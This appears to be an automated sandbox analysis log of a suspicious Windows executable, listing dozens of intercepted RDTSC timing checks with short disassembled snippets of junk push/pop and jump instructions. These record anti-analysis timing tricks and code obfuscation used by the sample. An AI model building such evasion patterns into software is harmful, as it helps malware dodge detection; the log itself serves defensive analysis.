Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F1309 second address: 10F130D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F130D second address: 10F1313 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F16EA second address: 10F16EE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F16EE second address: 10F16FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 pop eax 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F16FA second address: 10F1720 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push ecx 0x00000008 jmp 00007FF0E079F165h 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 pushad 0x00000011 popad 0x00000012 pushad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F1B2C second address: 10F1B32 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F045A second address: 10F047F instructions: 0x00000000 rdtsc 0x00000002 je 00007FF0E079F15Ch 0x00000008 jno 00007FF0E079F15Ch 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push esi 0x00000011 js 00007FF0E079F15Ch 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F49A8 second address: 10F49B8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0E0BA4D9Ch 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F49B8 second address: 10F49D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jng 00007FF0E079F15Ch 0x0000000c pop ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f push esi 0x00000010 push eax 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F49D2 second address: 10F49D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F6F94 second address: 10F6F98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F6F98 second address: 10F6FC5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0E0BA4DA7h 0x00000007 pushad 0x00000008 jmp 00007FF0E0BA4DA1h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F6FC5 second address: 10F6FCB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F6FCB second address: 10F6FF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF0E0BA4D9Bh 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FF0E0BA4D9Fh 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F6FF4 second address: 10F6FFE instructions: 0x00000000 rdtsc 0x00000002 jl 00007FF0E079F156h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F6FFE second address: 10F7004 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1072F78 second address: 1072F7F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1072F7F second address: 1072F92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FF0E0BA4D96h 0x0000000a popad 0x0000000b jbe 00007FF0E0BA4DABh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B4599 second address: 10B45A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FF0E079F156h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110270A second address: 110270E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110270E second address: 1102712 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1102712 second address: 110271E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110271E second address: 1102724 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1102724 second address: 1102749 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FF0E0BA4D96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FF0E0BA4DA1h 0x00000013 jng 00007FF0E0BA4D96h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11029E0 second address: 1102A07 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0E079F165h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jno 00007FF0E079F15Eh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1102A07 second address: 1102A1C instructions: 0x00000000 rdtsc 0x00000002 jno 00007FF0E0BA4D9Ah 0x00000008 pushad 0x00000009 je 00007FF0E0BA4D96h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1106DD5 second address: 1106DD9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1106DD9 second address: 1106DE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 js 00007FF0E0BA4D96h 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1106DE9 second address: 1106DED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1106DED second address: 1106DF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1106DF3 second address: 1106DF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1106062 second address: 1106066 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11061A6 second address: 11061BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF0E079F162h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11067A2 second address: 11067A7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110E249 second address: 110E267 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0E079F168h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110E267 second address: 110E26F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push edi 0x00000007 pop edi 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110E40E second address: 110E412 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110E412 second address: 110E41F instructions: 0x00000000 rdtsc 0x00000002 js 00007FF0E0BA4D96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110E41F second address: 110E436 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 popad 0x00000008 pushad 0x00000009 push edx 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c push edi 0x0000000d pop edi 0x0000000e pop edx 0x0000000f ja 00007FF0E079F16Dh 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110E865 second address: 110E86B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110E86B second address: 110E894 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0E079F163h 0x00000007 jmp 00007FF0E079F15Fh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110F6BB second address: 110F6C9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jng 00007FF0E0BA4D9Eh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110F6C9 second address: 110F6CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1114AAB second address: 1114AB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1114AB4 second address: 1114AB8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1114AB8 second address: 1114ACE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0E0BA4D9Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1113D9B second address: 1113DB1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FF0E079F160h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1113DB1 second address: 1113DB6 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1113DB6 second address: 1113DDC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FF0E079F156h 0x0000000a pop ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FF0E079F163h 0x00000012 jnp 00007FF0E079F156h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1113F2D second address: 1113F31 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1114076 second address: 1114085 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 jng 00007FF0E079F156h 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1114085 second address: 1114098 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF0E0BA4D9Dh 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11141D2 second address: 11141D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11141D6 second address: 11141F9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0E0BA4DA9h 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11141F9 second address: 1114201 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1114201 second address: 1114219 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0E0BA4D9Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jp 00007FF0E0BA4D96h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1114219 second address: 111423C instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jmp 00007FF0E079F161h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push edi 0x0000000d pop edi 0x0000000e jc 00007FF0E079F156h 0x00000014 push esi 0x00000015 pop esi 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111423C second address: 1114254 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF0E0BA4DA4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11208A4 second address: 11208A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11208A9 second address: 11208B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11208B4 second address: 11208BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11208BA second address: 11208BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111EC25 second address: 111EC29 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111EEE6 second address: 111EEF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FF0E0BA4D96h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111EEF2 second address: 111EEFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pushad 0x00000009 push ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111EEFE second address: 111EF04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111EF04 second address: 111EF0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111EF0E second address: 111EF16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111F16B second address: 111F185 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jmp 00007FF0E079F15Fh 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111F40C second address: 111F417 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111F590 second address: 111F59C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FF0E079F156h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111F59C second address: 111F5A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111F5A1 second address: 111F5D7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0E079F162h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FF0E079F167h 0x00000011 jo 00007FF0E079F156h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1124572 second address: 1124578 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1124578 second address: 1124581 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10713A2 second address: 10713AC instructions: 0x00000000 rdtsc 0x00000002 jne 00007FF0E0BA4D96h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10713AC second address: 10713D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FF0E079F169h 0x0000000f jnp 00007FF0E079F156h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10713D5 second address: 10713EB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FF0E0BA4D9Ah 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f push esi 0x00000010 pop esi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10713EB second address: 107140A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0E079F15Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edx 0x0000000a push edx 0x0000000b pop edx 0x0000000c pop edx 0x0000000d pushad 0x0000000e ja 00007FF0E079F156h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112AB44 second address: 112AB48 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112AB48 second address: 112AB4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1138007 second address: 1138014 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 push esi 0x0000000a pop esi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1138014 second address: 1138035 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF0E079F161h 0x00000009 popad 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d jne 00007FF0E079F156h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1138035 second address: 113803A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11381F1 second address: 11381F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113A091 second address: 113A0B5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0E0BA4DA4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c push edi 0x0000000d pop edi 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114AFEE second address: 114B01C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 je 00007FF0E079F175h 0x0000000f jne 00007FF0E079F156h 0x00000015 jmp 00007FF0E079F169h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1152E39 second address: 1152E3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1152E3D second address: 1152E53 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0E079F15Dh 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1151826 second address: 1151847 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FF0E0BA4D96h 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FF0E0BA4D9Eh 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1151847 second address: 115184B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115184B second address: 115184F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115184F second address: 1151883 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 jbe 00007FF0E079F156h 0x0000000f pushad 0x00000010 popad 0x00000011 pop ecx 0x00000012 pushad 0x00000013 push ebx 0x00000014 pop ebx 0x00000015 jmp 00007FF0E079F15Bh 0x0000001a popad 0x0000001b popad 0x0000001c push edx 0x0000001d push edi 0x0000001e jmp 00007FF0E079F15Eh 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1151B56 second address: 1151B5A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1151E0E second address: 1151E2A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0E079F165h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1151E2A second address: 1151E30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1151E30 second address: 1151E53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FF0E079F169h 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1151E53 second address: 1151E5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 rdtsc
